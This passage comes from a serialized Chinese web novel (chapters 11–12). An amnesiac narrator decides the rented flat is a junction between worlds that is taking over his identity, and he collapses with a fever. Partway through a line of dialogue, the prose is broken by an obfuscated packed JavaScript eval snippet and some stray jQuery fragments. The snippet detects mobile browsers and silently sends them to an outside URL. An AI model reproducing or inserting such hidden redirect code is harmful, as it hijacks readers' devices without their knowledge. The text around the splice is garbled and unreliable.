黑暗中,那间屋子仿佛正咧开了大门在朝着我笑。 哈哈哈哈哈。我也望着它大笑起来。 笑完,我正望着金线恍神,左手猛地一震——屏幕亮起:C方姨。 心重重跳了两下。稍一犹豫,我吸进半口气,按下接听。 “喂,方姨。” 手机里传来有些嘈杂的电流声,裹着她的询问:“小晋啊,你下班了没有?怎么还没回来?” “哦,还在加班。”我声音浸满疲惫,“今天事情特别多,忙得忘了。” “这么忙…明天做不行吗。外面下雨了你知不知道?带伞没有?” “下雨了吗?我没带……”右手缓缓在裤腿上摩挲。 “哎呀!那我给你送伞过去?你把地址发来。”语气着急起来。 “不用不用!”我赶忙截住,“这还不知道弄到什么时候。我等雨停了再走。” 那头沉默了一瞬。“……那好吧。”电流声咝咝作响,“我看这雨已经小了,你抓紧回来,别一会儿又下大了。” 我连声应下。那边又叮嘱了几句,才挂断电话。 “呼——” 我长长排出一口气。抬起右手,伸出食指,以手肘为轴在胸前摆动。一条绚烂的灿金色光带随之舞动——真的很像焰火。 我嘿嘿傻笑两声,第三声却猝然断在喉头—— 我才晚回去两小时不到,方姨的短信和电话就追了过来。可我离家出走,已经快两个月了!我的父母……竟没有一条短信,一个电话。 他们,是彻底不需要我了吗? 我像一块巨石,终于坠到深渊底部,猛地一沉,被吞没在冰冷黏腻的烂泥里。 ……不,不可能。 一定有什么被我忽略了…… 思维缓缓翻搅。烂泥冒出来一个又一个气泡。 ——黑名单!他们一定在我黑名单里! 我手忙脚乱点开手机,颤着指尖翻找。找到了!号码黑名单!—— 里面,空白一片。什么都没有。 原来,他们是真的……不需要我了。 我没有根了…… 是不是,我也快变成蒲公英,飞走了? 胸口震动两下,笑声被闷在里面,只碾出几声的干咳。 我闭上眼,在细细的风中,成了金线,飘荡着穿过雨幕,穿过楼房,穿过夜空。我不再去往何处,我只穿过一切。包括,这消散中的虚无。 直到—— 身体猛地一沉,我被从虚空中狠狠拽回。 一个念头在我身体内疯长,瞬间蓬生出粗壮坚韧的藤蔓,将我又重重绑缚回这地面—— 是了。人情的绳索会凭空消失,经济的铁链却无法删除。 坐正身子,切回微信。“钱包”,“账单”——屏幕上是一长串花花绿绿的图标和带着减号的黑色数字。 最上面是一笔-63的“吴姐家常菜”,那是中午吃的。紧接着就已经是一个来月前了——几笔“扫二维码付款”,是这附近和公司楼下的快餐,以及“转账-转给心悦宾馆”,那是我之前住的小旅馆。 再往下,出现个陌生的名字——“零界空间”。“8月18日 22:42”。 ——第一天那家网吧? 立刻打开地图,在搜索框上输入“零界空间”——就在这个区和祥浦交界不到的地方,这里过去7.2公里。 血液重新充盈了身体。虚浮的记忆终于有了实在的落脚点。 果然,这里面还保留着我出走前的记录。保留着我之前的人生! 我继续向下划动—— 眼前却是接连不断的红底白纹:“拼夕夕平台商户”。往下刷新了四五次都仍只有这一种。要不是日期一直在变小,我甚至以为手机卡住了。 一直往下。直到2022年10月,才总算出现了别图标。 ——2025到2022……这期间,我不是正读大学? 怎么我完全不买零食、不吃快餐? 屏幕左上方“2022年10月”几个字仿佛活了过来,堵进我胸口。 ——我在别的地方还有钱吧,支付宝,银行卡之类。这也没什么好奇怪的。 我挑唇笑笑,指尖重重按下,继续向下翻。一起按下的,还有脑子里那个荒谬可笑的念头。 再下面,大多是些扫二维码付款。其中,2019年有笔3280元的转账十分显眼:智启教育,11月3日。 ——六年前……高中补习? 胸口传来隐约的躁动,小腹一阵坠胀。我佝下腰,将胸顶在膝上,继续下翻。 随着指尖一次次机械按下,上挑,我的目光越来越冷,心跳也一点点沉稳。 最后的记录是2015年2月。在一条2月11的“扫二维码付款-给华哥超市”下,终于出现了“暂无更多记录”几个字。 2015年2月…… 十年前。 我放下右手,搓了搓裤腿。眼睛还盯着屏幕,嘴边仍凝着微笑—— 十年前,我才刚上初中吧。竟也用微信支付么? 这个手机,是什么时候,被换到我身上的? 对,这绝对不是我的手机。 这也就可以解释了:为什么,我的父母找不到我。 至于手机的主人,倒是不难猜测—— 十年前出现了第一笔记录,那正是“废物”出现的时间。那笔3280元的转账,大概是考研培训的费用。 后面记录完全被“拼夕夕”占据的这三年,正好和“疯子”住进方姨家的时间吻合。至于,他买了些什么—— 我漏出声轻笑,垂下了眼。眼里浮现的,是那座塞得满满当当,五颜六色的书柜。 只是…… 目光微微一凝——这手机上,竟还有我出走以来的全部消费记录。 他的手机,怎么会事先就跑到了我这个陌生人手里? 难道…… 不是我选中了房子,而是…房子选中了我? 我试图回忆当初找房时的情形,脑海里却只剩一片漂洗后的迷蒙——我甚至记不起,是在哪个app上刷到的那条租房广告。 一阵凉风吹来,我又缩了缩。肩膀像搭了两块冰,冷气从后脖颈一直透到胸前。挤在大腿前的小腹又几阵抽痛。 ——是啊,是它选中了我。 它想将我磨成另一把锁芯,镇在程静留下的空洞上? 的确,它在消磨我——我的记忆,我的身份。它们被一点点从我身上削下,成了他肚子里的养料。 就像它曾经,一点点吃掉了赵路。 眉心高高耸起,脸上的肌肉却笑得发酸。等腹部的抽痛终于过去,我才慢慢收起笑,熨平眉头—— 那就,从它的胃里,把我自己,挖出去。 现在最要紧的,是找到我的家,到底在哪。 中饭时和徐姐的对话在耳边响起——身份证上就有地址。 对。就算记忆被清洗得一干二净,那张小小的卡片上,却烙印着我无法篡改的来处。 掐了掐大腿,我拿起手机。浏览器的冷光打在脸上,我换了几口气,输入“身份证 地址 查询”。 跳出来卡在最上面的,就是条非授权情况下查询他人详细地址涉及非法的风险提示。往下拉,则是些五花八门查询攻略,却只能锁定到“发卡地”,再就是些号称能够查询具体信息却明显异常的小网站。 我皱着眉啃着嘴唇,不断调整关键词:“身份信息核查”、“本人身份信息”……终于,在一个法律咨询机构的AI客服对话框里,跳出来一个带着官网标识的链接——“公安部‘互联网+政务服务’平台”。 心跳陡然抢了两拍。我屏住呼吸,点了进去—— 没看到身份证信息查询通道,却在正中间的“热门服务”里就有“居民身份证补领”。 ——补办! 欢姐的抱怨在又耳边响起。对呀,补办身份证! 不记得住址又怎么样,只要将证补办出来,一切问题,不都迎刃而解了! 我将右手手腕压稳在膝上,用食指指尖选好城市,点击“在线办理”,接着用手机号注册了账号。 登陆成功。界面跳转到申请页。 “请输入您的居民身份证号码。” 我深吸进一口气,果断将手指悬在虚拟键盘上,准备将那串烂熟于心的十八位数字敲进去—— …… 等等。开头是…4? ……还是5? 手指僵在半空。 脑子里,存着那串数字的区域就像被用橡皮彻底抹过,只留下一片空白——半点痕迹都没有的、纯粹的空白。 一个数,哪怕一个数,我都想不起来。 身下的地面被骤然抽离,露出来底下的巨口。嗡嗡声从里面涌出——无数细密的、粘稠的振翅与啃噬声,糊满了我的耳道,也糊住了我的思维。 那巨口,到底是在我身下,还是在我体内? 它们…是要蛀空我?还是……我已经空了? 胸口一阵起伏,飞快轻浅,也像昆虫振翅。视野中的景物碎裂又重组,几秒后才勉强拼回手机屏幕上冰冷的白光。 不行。不能陷在这里。 我深吸一口气,再缓缓吐出,将那些声音也一齐吐了出去。 视线对焦——21:02。还好,不算太晚。 点开微信,找到“国鑫hr徐姐”,一个字一个字敲入: “徐姐,我好像有点不太对劲。我想不起家里住址和身份证号了……你明天能帮忙找找我之前填的身份证号,发给我吗?” 我盯着输入框,看了半晌。右手停在腿上,拇指的指甲刻进了食指侧面。终于,我松开拇指,将食指落在了“发送”上。 界面一弹,它跳进了绿色的框里。 ——这下,预支工资的路,就彻底堵死了。 但,这早就不是钱的问题。 我望着对话框愣了会儿神。手机突然一震,却不是徐姐回了信息—— 是方姨的短信:“怎么还没回来?太晚了,要不要去接?” ——太晚了,所以我一个大男人,要个老太太接我下班? 我好笑地扯扯嘴角,笑才到嘴边却已经凉透。 ——是该回去了。总得先过了今晚。 我撑着站起身,将手机攥进袖口,提步向外走。 大楼外,雨还在下。细细软软,凉丝丝地落在我的头顶、肩膀,在眼镜片上晕开一片迷蒙。 迷蒙的中心,是那条金线。它游荡在黑暗的水底,引我前行。 我顺着它,抬起头,却只看见茫茫的雨雾。 过园区保安亭的时候,我停下,拿起手机。摁亮,回过去一条短信: “快好了。我就回来。” 然后,我将手机沉进了裤兜的底部。 13. Chap.11 多出来的线(下) 回方姨家的路几乎是条直线。我跟在金线后,一路向前。 雨渐渐下大,轻轻扎着我的脸。一个又一个路灯从我旁边经过,马路缩向我脚底。前面的空间整个向我压来,要将我连同周围这些光影明暗一起,碾进一个平面。 我转身,向后望去,却只看见无限拉长中的虚空。那里什么都没有。 我是在镜子里,还是镜子外? 腿抬起,落下。 向前……我是在向前吗?还是……连我本身,都只是幻觉? 头发和T恤早已湿透,冰冷地黏着皮肤。我就像泡在水里,正慢慢显形的——一张照片。 十字路口红灯亮起。雨中、路面、镜片上裂变出无数个红色幻影。 我在哪?这里真的是现实吗? 如果这真是现实,要怎么解释——一个二十天后我才会遇到的人,他的东西,是怎么提前到了我手上?而我,也理所当然以为,这就是我的东西。 我是落进了谁的现实? “你是个突然出现,还没有长出芯的孩子。” 疯子的声音,在我耳中响起。 ……疯子。 金线无视了幻影和雨线,直直遥指向右前方的半空。 是疯子选择了我——一个几乎和他同时离家出走的人? 一个同类。 那个周一上午的相遇,根本不是什么偶然。那甚至,都可能不是我们在时空中的第一次交错。 他找到我,然后将他的手机,放在了我的身上? 可他,怎么做到的? 雨水疯狂抽取着热量,寒意在肺泡中炸开。 猛然惊觉绿灯,我迈开脚。没走出两米,却发现指示灯又变回了猩红。我只好继续向前,穿过空寂的马路。 难道…那时候,他就已经是个鬼魂? 我曾怀疑,他是那晚争吵后才被方姨失手杀害。但如果…他早就死了呢? 那样,一切就都说得通了—— 他的苍白和淡漠,方姨那彻底的无视,提起他时她眼中瞬间的惊恐,以及,那几张诡异的符纸,和书房里直指飘窗的杀阵…… 是不是,在他离家出走后不久,就已经死了? 然后,他的鬼魂找到我,将手机放在我身上,引我回到了他生前的住处。 等他作为鬼魂,再回到那间屋子时,已经忘掉一切,也忘记了自己的死亡。而那场争吵,让他想起了全部,所以……他走到月光下,彻底消失了。 我走到马路的另一边,停下脚步,定定望向金线消失的尽头—— 是这样吗?我是被他捕获了。 可是,如果从那时起他就已经是鬼魂…… 那么,刘姨口中,那个跑出去大半个月,又自己回去了的“疯子”,是谁? 那天晚上,和方姨争吵的、砸树的,又是谁? 一个鬼魂,能做这些吗?能够翻动书页,燃烧青词吗? 潮湿浸透鞋袜,顺着裤腿向上吹送寒气。我的膝盖以下,已经完全变成了两截木头,正被蚁群一点点蛀透。 脚下踩起的水声和雨声混在一起。我,就要化进这片雨里。 小区也融化在雨水和夜色中,显示出另一幅模样——藏在幕布后的陌生舞台。路灯光和楼房的灯光被捂在雨后,远远窥视这潭浓墨。 我走进楼栋,取下眼镜,用袖口擦了擦,戴上。上面的水珠糊得均匀些了。 抬头,看向往上延伸的楼梯—— 总得有个地方避雨。 踩着湿湿的脚印,我上到五楼。左转,站定,指甲掐进掌心,抬手敲了501的大门。 门后一阵悉索,猫眼里暗了暗。 我抻直背,伸出右手,再次按了按楼层感应灯的开关。 又过了两秒,门开了。是刘姨。 她将门推开条半人宽的缝,拉着把手,皱起眉,从门缝的阴影里打量我:“是小江啊。有什么事?你怎么都淋湿了?” “刘姨好。”我站到门缝前,稍探出上半身,脸上堆满笑,神色却很急切,“您这两天有看到程静吗?他又跑出去了!方姨到处找他,急得不得了。” “又跑出去啦?”她一下就变了脸色,将门一把推开了大半,走了出来。虚掩上门,右手便拉住我胳膊:“这次是什么时候跑的?” ——至少,对刘姨来说,疯子是真实的存在。 “就是前两天,中秋节刚过就跑出去了。”我耸起眉,仍陪着笑。 刘姨眼神往左边的墙根上一划,随即就正了回来:“哦!是那天晚上,吵架之后跑了的吧?” “是啊。原来都以为吵过之后就没事了。谁知道,没过两天又跑了。您这几天看见他了吗?” 她松开我的胳膊,慢慢转身对向502的大门:“没有吧……这两天,我也没见着谁进出啊。其他…也没听人说过又在哪看见了他……” ——果然。 “但…兴许是遇上了没认出来?毕竟许多年没见了……”她又转向我,眼睛一只圆瞪着,一只微微眯起,“你给说说,他现在是长什么样了?” “哦,他现在很瘦了,但还是戴着眼镜。头发有些长,带卷,看着有点乱。皮肤很白,下巴上胡茬很明显。他跑出去的时候应该也没刮。”我随口答着,努力维持眼中的热切。 “胡茬?”刘姨的声音猛地拔高,将我一下拖拽回楼道里。 我轻拧起眉头望着她,就听见她斩钉截铁地甩下一句:“不可能啊…程静,是女的!” ……程静,是女的?! 我呆望着她细细眯起的双眼,和眉心处深夹的竖纹,脑子里一片空白。 程静是女的? 那么…疯子,赵路……是谁? 橘黄的灯光打在我前面这张脸上,陡然将它远远推至视线尽头,却又同时占据满整个视野。它在拉扯,起伏,溶解,重组…… ——不行…站稳。给我站稳! 双手掌心传来尖锐的刺痛。我眨眨眼,飞快地思考该怎样接话。 “谁呀?” 门后远远传来道男声。接着,吧嗒吧嗒的拖鞋声越来越近。 刘姨侧回身子,拉开些门,冲里面说了句:“就是在隔壁502租房子的那个小江。他说,那疯子又跑出去啦!” “怎么又跑出去了。”门被彻底推开,声音的主人走出来,站在我们面前。正是上次在天台上,和刘姨一起收拾簸箕的大爷。 刘姨拉着他胳膊,将我们刚刚的对话复述了一遍。最后,她瞪着大爷,瘪着嘴道:“你说奇不奇怪,小江说,那疯子脸上长胡子了!” “长胡子了?”大爷的脸也唬了起来,眼睛一下瞪得溜圆,“这怎么可能?她明明是个姑娘啊!”顿了顿,目光在我脸上仔细搜寻,“是不是你看错了?要不…是她身体又出了什么毛病?” “是呢。他刚刚说,那疯子现在瘦得很。肯定是又病了嘛。”她朝我努努嘴,“你去问他。” ——太好了,理由都不用我找。 大爷便转身正对向我,想要细问。我胃里一阵翻搅,带得太阳穴突突乱跳。实在没有心思再继续聊下去了。于是,我抢在他开口之前,向他们告了声歉,只说突然想起手机落在公司里,得马上赶回去拿,便急急转身冲下了楼。 我冲出楼洞,走了两步,才发现外面仍在下雨。 那就下吧。反正,全身早就湿透。 ——反正,我也只能继续往前。 脚步将我又送到了小区门球场。这里有棵大树,多少可以挡一挡雨。 上次过来,还是在疯子和方姨争吵的那个晚上,那个中秋的前夕。 “程静是女的……” ——那么,疯子是谁? 我将自己扎稳在这石头围栏上,才终于敢放任去想这个问题。 先前关于他的猜测,又被全部连根拔起。 “你说的赵路到底是谁?我们家里没这个人!”方姨的喊声在树下回响。 也许……她说的是真的。 他,就是一个不应该存在的人,一条多出来的线头。 一条多出来,却又真实存在的线…… 我抬起右手,翻掌向上。食指尖,金线在轻轻扭动,越过深褐沙地,没进左前方漆黑的夜空。 ——这是,他递给我的线。 目光下,这光线仿佛凝为了实体,往我的指尖不断传导着陌生的频率。那是,那个看不见的月亮,它的心跳。 它只是看不见,并不是不存在。 感受着指尖的波动,我的心跳却渐渐平稳下来。 ——他,只能是一道真实存在的幻影。一个“鬼魂”。 他不会无缘无故地出现。方姨家…男性…失忆…四十岁上下…… “啪”,又一滴硕大的水珠砸在右肩肩头。 ——难道……程峰? 寒意攀住我的肩膀,慢慢向前探出头来。仿佛我身后那棵大树,也正暗暗伸出尖利的爪牙。 ——不,这不可能。 要是这样,我还不如去相信,他真是我臆想出来的呢。 我从鼻腔里哼出一声轻笑,震落满身寒悚。 呵,我臆想出来的…… 等等!目光突地一敛——时间倒是能够对上…… 或许我该再好好想想这个可能性。 …… ——对上什么呀。别说那个奇怪的手机了,光那两篇青词,我就臆想不出来。 我自嘲地笑笑,立刻释然了—— 他,一定“存在”于我这脑子之外。 裤袋里的手机突然震动起来,将知觉重新唤回大腿。我伸手将它掏出——果然,是方姨的来电。 10点了…… 手机还在固执震颤,屏幕的冷光打在脸上,冻住了我的表情。 ——我还不想回去。 手机响了四轮,才终于安静下来。接着,又震了几遍,那是方姨的几条短信。 我没看,却点开了微信——它右角上亮着个鲜红的圆圈:3。 是徐姐回消息了: “你别吓我”,后面跟了个恐惧捂脸的表情。以及, “明天周日啊,我休息。等后天我上班了去给你找”, “你要不请个假,去医院看看?” ——对哦…明天周日了。又得再等一天。 我谢过她,说已经请了假,便将手机调整静音,塞回了裤兜。 抬头向前望去,身前只有一片寂静的空旷。 寂静中,记忆的碎片在翻涌。有什么东西,正挣扎着从漆黑的深处浮出。 “哦!是那天晚上,吵架之后跑了的吧?” 刘姨的话铮然响起,脑中豁地一亮:是啊!她听见了他们的争吵。 她说,程静是女的。 那么她听见的——是两个女人的争吵。 两个女人…… 世界重重砸下。我猛地向下一沉,手指死死掐进大腿,听见自己牙齿磕碰的响声—— 她……那个房间里,卫生巾…内衣的……主人,真的…存在。 至少……在那个晚上,她还存在。 就存在,在那间屋子里。 而我……什么…都不知道。 气流在喉间回旋,在颚间撞出轻啸。身体抑制不住剧颤了几下。我将肚子摁进大腿,双手抱紧膝盖,眼睛死死盯进地面。 程静。赵路。我。 我们……在那间屋子里,同时…存在过。 我猛地抬头,看见金线在沙地上的无数分身—— 那是雨滴打出的浅坑,和涓流冲出的细小沟渠,聚集起的无数块破碎的镜面。 一个应该存在,却并不“存在”的人。 一个不该存在,却真实“存在”过的人。 时间,空间,它们缠扭在一起,让不该同时出现的两个人,一起出现在了方姨那间屋子里。 “零界空间。” 这个名字从我牙缝间挤出。几小时前,我才在地图上搜索过它。 是的。临界空间,虚实之界。 这就是,我找到的,能够解释当前情形的,最合理的答案。 “一面镜子,就是一个漏子……于是,我从一个世界,到另一个世界。” 我闭上眼,深深吸进一口气,将后背拉直。双手平放腿面,感受身下石栏传来冷硬的支撑。 是了。如果那房子,真的是时空的结点,那么,不仅能够解释了二人为什么同时存在,还能解释,为什么疯子认为废物是个女的——他的确见过那个女人。 甚至,它还能够解释……刚被压下去的寒意又腾地升起—— 为什么,疯子自认为是方姨的侄儿。 为什么,他和废物有着相同的字体。 为什么……我正使用着他们的手机。 心脏猛地抽动两下,小腹骤然绞紧—— 为什么,我正在失忆…… 我们,都在“成为”程静。在各自的现实,接续使用同一个身份。 “它才是那个真实存在的东西。” 疯子消失前,这样说。 “方程……或者镜子。”气息从齿间碾过。手掌重重压进小腹,试图镇压住里面粗粝沉闷的绞痛。 ——那天,他窥见,解出的,是不是这个? “不要被命运看见。”嘴角慢慢渗出苦笑,“你看见了命运,命运也就看见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001303|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” 命运看见了我们。 于是,他,我们,都被捕捉,囚困——成了“鬼魂”。 他看见了命运。于是,他消失了。 呵,鬼魂…… 我端起右手,在眼前摊开—— 这个“鬼魂”,真的存在吗? 它存在于哪里? 这具身体?我的名字?身份? 还是……记忆? 它们,还将属于我吗? 疯子,赵路——这是他的本名吗?他消失在月光里,身体都没留下。 那个女人,和方姨争吵的女人,还有我房里那堆东西的主人,真的是同一个人吗?她的手上,是不是也有一根金线? 目光胶在指尖,圈住这摇曳的金色—— 这就是我被点燃的灵魂,燃烧的我? 空气中传来了桂花的香气。目光顺着金线向前望去。 雨,不知什么时候已经停下。门球场朗朗铺在眼前,细沙上泛起细碎的银光。石栏,树叶,路面,都浸在月光里,裹在月亮的感觉之膜下。 而月亮,正高悬在天上,如金色水母的伞盖,在夜空静谧舒展。伞盖中,是它长长的触手,也闪着灿灿金光,蜿蜒着贯穿夜空,钻进我右手,在指尖妖异扭动。 原来,疯子说的,是真的。金线,要一直连到月亮上。 那么,月亮上也真的有无数面镜子,无数个漏子吗? 我们是不是,就是从那镜子里穿出来,落在地球上的? 那上面到底是祭坛,还是迷宫? 这根金线,是在燃烧我们,还是指引回家的路? “少年要变成男人,男人要变成疯子,疯子要变成月光……” ——疯子,你是燃尽了,还是回去了? 我们看见的,可是同一个月亮? 耳中骤地拉起电流尖锐的爆鸣。视野一黑,后脑像被箍了个皮筋,一阵阵收紧。胸口和喉咙抽搐几下,吐出几声干呕。 等我终于喘上口气,整个人已经蜷缩成一团。上半身死死抵着大腿,双手指尖则深深掐进了大腿后侧的肌肉里。 我缓缓松开手指,抬头,呼出口气。双手垂下,指尖轻触地面,戳了戳脚边松软潮湿的沙粒。 目光则停在稍远处一小块水洼上,那里面——正映着一轮金色月亮。 孤冷,静谧。那才是它正常该有的样子。 “晋江行,你看的,会是哪个月亮?” 我一点点扯起嘴角—— 我还能看向哪个月亮? 又一阵浓郁的花香,裹挟着雨后泥土的气息,灌满肺部。 我坐直身,猛地打了个寒颤——风鼓起衣服后摆,我才发觉它几乎已经干透。空气中弥漫着烧灼,一触上皮肤,却变成冰冷的针尖。骶骨处也传来钝痛。 不能再坐在这了。必须回去。我得…得换衣服。 我撑着围栏站起,大地却突然开始旋转。周围的景物,随地面一起向前跑去。我拖着双腿,穿过它们,一步,一停,免得撞上。脚下不再是地面,而是不断下陷、吸吮着脚踝的流沙…… 这段路,耗费了我全部力气,却又轻省地仿佛未曾用力—— 一眨眼,我就已经站在方姨家门前。跳过了寻找、攀爬的全部步骤。 我将装饭盒的袋子套到左手,撑住门,右手摸出钥匙,费劲地将它插进锁孔里。 转动两圈,门锁弹开。我抽出钥匙,左手正要去拉门把——门却陡地向外撞来。双手一跳,接着便是一痛,饭盒也跟着“哐啷”一声响。 我站退一步,揉了揉手背。 “怎么搞到这么晚?电话也不接!”门缝中迸出方姨的声音。 门推开了一大半。她拧眉立在门后的昏暗中,目光灼灼在我身上扫过几遍,又探头望了望楼道,松开把手:“没淋着雨吧?快点进来!” “电话也不接,信息也不回。你是要急死我!”她抢过装饭盒的袋子,急急走开,又急急回来。我换好鞋进了屋。外套袖子、头发都被手重重捋过。 “怎么是湿的?你淋雨了?”“怎么这么烫!”“快!去洗个热水澡,把衣服都换了!” 方姨的话不断落下。我被额头上冰冷的手激得一荡,努力定住身子扯出些笑。想要分辨两句,嗓子却干得像燃着火星的灰烬,嘴也涩得黏在了一起。我只好安静地被背后那只手半推着进了房间。 “你快点。我去给你煮点姜汤。”脚步声远了。 关上门,我将身体重重压上门背。摸到把手,找到旋钮,用力一拧—— “咔哒”声从指尖传来,我深深呼出一口气,几乎要顺着门背滑下。 对,换衣服。我在心里默念。 手肘一撑,支起身体——心脏猛地一空,随即狂跳两下。太阳穴一凉,视野被陡然拉长,压扁,揉成一团。我压稳手肘,放缓呼吸,等待眼前画面重新铺展。 然后伸臂,身体往前一倾,扶到了衣柜的侧边。喘匀两口气,顶着侧边,抬腿迈到柜前。 摸着柜门,走到正面,立住。一侧脸,便望见身前一步外的右下角—— 那里面,还有她的东西。她……还在不在这里? 轻轻叹了口气,收回目光,将身体掰正,抬手去拉左侧柜门的拉手—— 突然!一阵尖锐的剧痛钎进我脑袋,就像颅骨上卡了台狂转的电锤,溅起一轮轮炽白的火花。 我十指抠着脑袋蹲缩下去,用掌根死死抵住太阳穴。 等钻痛终于过去,我揉揉眉心,手撑着地,一点点瘫坐下来。血管还在皮肤下悸动,细汗一点点蒸干,汗毛被轻轻拨动,气息扫过鼻头和人中……所有感觉都清晰得像打在窗户玻璃上的雨滴。 呼吸渐渐平稳。身体里的不适却越来越突兀——仿佛被塞进了一大坨冰冷粘稠的史莱姆,心肺和胃袋都被挤贴成一团。小腹则紧巴巴皱缩着,沉甸甸地直往下坠。 心底却空荡得发慌,疯狂渴望着填进些什么,好从中刮取些暖意。 我大概是饿了。我马上醒悟过来——腹中,肠子正一阵阵绞紧,发出年久失修的电梯铁索拖拽的“嘎吱”声。 我是真的饿了,竟看见了几颗金星。它们绕着我,在虚空中上下窜飞。 但——我搜遍全身,却凑不出半点食欲。我连着打了四五个空嗝,胸口一提,喉咙一哽,突然抑制不住地干呕起来。胸膈一阵阵抽紧,我翻身爬伏在地,呕得胸腔都要撕裂,眼睑和睫毛上挂满泪花,却连口水都吐不出来。 等干呕终于过去,我向外咳了咳喉头的酸意,擦擦嘴角,用力往上一撑,向衣柜门抓去—— 世界猛地拉长,随即坍进虚无。 我晕了过去。 14. Chap.12 时空的谜团 Chap.12 时空的谜团——解体的线球 我竟然看见了疯子—— 他正坐在餐桌前,捧着茶杯,低头望向杯里。我迟疑着,喊了声“疯子”。他却仿佛没听见,仍盯着杯子一动不动。我慢慢向后退,退到玄关,转身出了502的大门—— 于是,我踩在了深褐色、湿漉漉的沙土上。 我的前方,左右,都是镜子,插在沙里,在灰蒙蒙的荒原上闪着银光。 “这里是…月亮?”我愕然转身,望向来处——那里原来也是面镜子。 “果然……”我向左一迈,想看看镜子后面是什么模样。它却随我一起转动,搅动了下方的细沙。我只好退开两步,远远望着它。它始终正面朝我,映着我身后层层叠叠的镜子。 正沮丧间,疯子突然从镜子后走了出来。他冲我神秘一笑,抬脚走向右边的另一面镜子。 “等等!先告诉我,镜子背面是什么!”我追过去,伸手想抓住他。 但他已经走进了那面镜子,镜面上只余荡漾的银光。 我在镜前站定,看着里面灰蒙蒙的景象,终于也抬腿踏了进去—— 眼一花,我就到了……502。屋子里一片寂静,就像是在只沉默巨兽的肚子里。 我放轻脚步,穿过玄关,小心寻找疯子的身影。 客厅,没有。餐厅,没有。书房……我望着那扇紧闭的房门,顿了顿,提腿向前走去—— “嗒、嗒、嗒……” 身后,忽然传来清晰的脚步声。 “方姨?”我猛一转身。却看见一个长发飘飘的陌生背影,走进了侧卧。 是她……! 心中霎时雪亮。我立刻冲过去,追着进了侧卧—— 侧卧里,空空荡荡。阳光慷慨地洒满房间,一切都无所遁形:柜门紧闭,床铺整洁,窗帘大大拉开。这里,什么人也没有。 我立在书桌前,望向窗户。 寂静包裹了我,耳中只有心跳声…… 心跳变成一把小凿,在我头盖骨内侧不停敲打,将太阳穴也敲地一突一突。喉咙里烧了一堆红炭,飞燎的火星焚烧着每一根神经,争先恐后地从鼻孔、耳眼里蹿出。嘴里灌满烧灼的硫磺味。 严寒却卷袭了我身体。它刺进每一处骨缝,在深处潜行。空气胀满水汽,到处都黏黏腻腻,无处可逃。 我缩了缩,皮肤就像在粗砂纸上蹭过。 我是在哪? 我焦急起来,奋力想睁开眼睛。眼皮却被死死糊住,视野里只有暗红的光斑在蠕动。随即,我又沉沉坠入黑暗。 等世界重新凝结出形状,我没在一片温吞的水里。它冒着绵密的气泡,从四面八方推挤着我,还一个劲往我鼻子、耳朵里钻,将周围的画面黏糊成一片。 在这片温柔的窒息里,我贪婪地滤取着从眼底和鼻窦渗进的空气,记忆也渐渐流回—— 对,我是在方姨家。得换衣服。 我挣扎着动了动,却传来干燥柔软的触感。眼皮仍重重落着,将我压进又一片明暗交织的光影里…… …… 远远的,水上传来人说话的声音。 好像…是个女人。 ——是她?! 一道白光划过——对,这就是她的房间! 我死死攀住水岸,屏起呼吸。 声音越来越清晰……是在打电话,在给人请假…那人发烧了? 那声音…… ——是方姨? 原来是方姨。一口灼热的气息破喉而出——那个发烧的病人,大概就是我了。 指尖一松,我又沉入深深的水底。 …… “没照顾好你……” “对不起你妈妈……” 岸上又传来说话声。温热的气息打在我脸上,我想拂开,却抬不起手。 ……是方姨? 说这些干什么?……就不能让我好好睡会? 有什么在推搡我,嘴被冰凉的东西抵住。我侧头想要躲开,它却追了过来,紧紧压在唇上。 “来,吃药了。张嘴。” …… “就喝一点。” 我喘着气,只想滑回水里,身体却被牢牢抓住。嘴一张开,一股温热的流质就灌了进来,烧灼着滚过喉咙,沉沉坠进食道里。 …… 眼前黄色黑色明灭交织,我挣脱出一面又一面镜子,终于,腿一弹——干燥柔软的布料擦过皮肤,温暖包裹住我,身下传来了安稳的支撑感。 一用力,眼睛睁开,朦胧的光线映了进来,一点点分化出椅子,书桌的轮廓,清晰起来。 真的是方姨家。 肩膀向下一用力,躺平。一阵空寂的冰凉后,刺痛扎破了胀麻,噬咬我全身。 ——这得是躺了多久…… 等刺麻过去,体温再流回身体,我搓了搓眼角,提劲撑起上半身,转头看向四周——房门关着,灯没开,拉着窗帘。整个房间罩在片昏沉的深褐里。 靠上床头,闭眼,追着记忆一路向前,又回到了和父母争吵出走的节点—— 这次…倒好像没再忘记什么。 抬起右手,金线斜斜坠进了床垫。 我皱了皱眉,侧身下床,动作尽可能轻缓。扶着桌角,坐到椅子上。头还有些晕,鼻子仍塞着,手脚也沉重得很,但——我摸摸额头——烧应该已经褪了,至少全身不再发冷。 ——怎么突然晕了? 目光定定落在前面凌乱的床铺上——真的只是因为高烧? 我起身,扶墙走到窗前,扯开窗帘。 阳光陡地打在我脸上。眼前一花,我赶紧闭眼转过了身。 再睁开,这里已经又恢复成那个光线明亮的,熟悉的…房间。 我走回桌边。桌上…只有一部手机,公司的那部。 ——“我”的呢?! 呼吸一窒,我急急在桌上翻找起来。 怎么能…… 身形猛地一顿—— 是了,方姨……她帮我请了假…… 力气泄了一地。我瘫坐进椅子,几秒后,才伸手去拿了公司的手机。 屏幕亮起:“13:23 10月13日星期一”。 ……10月13日,星期一? 脑子里轰地一炸—— 我,睡了快两天? 只因为个高烧,睡了两天? 我怔着眼,低下头,看向自己身体——这才注意到,我身上套着的,是条淡黄色棉质长袍。袍子很宽大,下摆垂过膝盖,前襟有排纽扣,领口和袖口还缀着细碎的荷叶边。 这,不是我的东西。 我死死盯住右手腕已经松垮的袖口,花边上浅淡的褐色斑痕在视野中越变越大。 陡地,我站起身,双手一抄裙摆,一翻,将这睡袍从头顶猛甩脱出去! 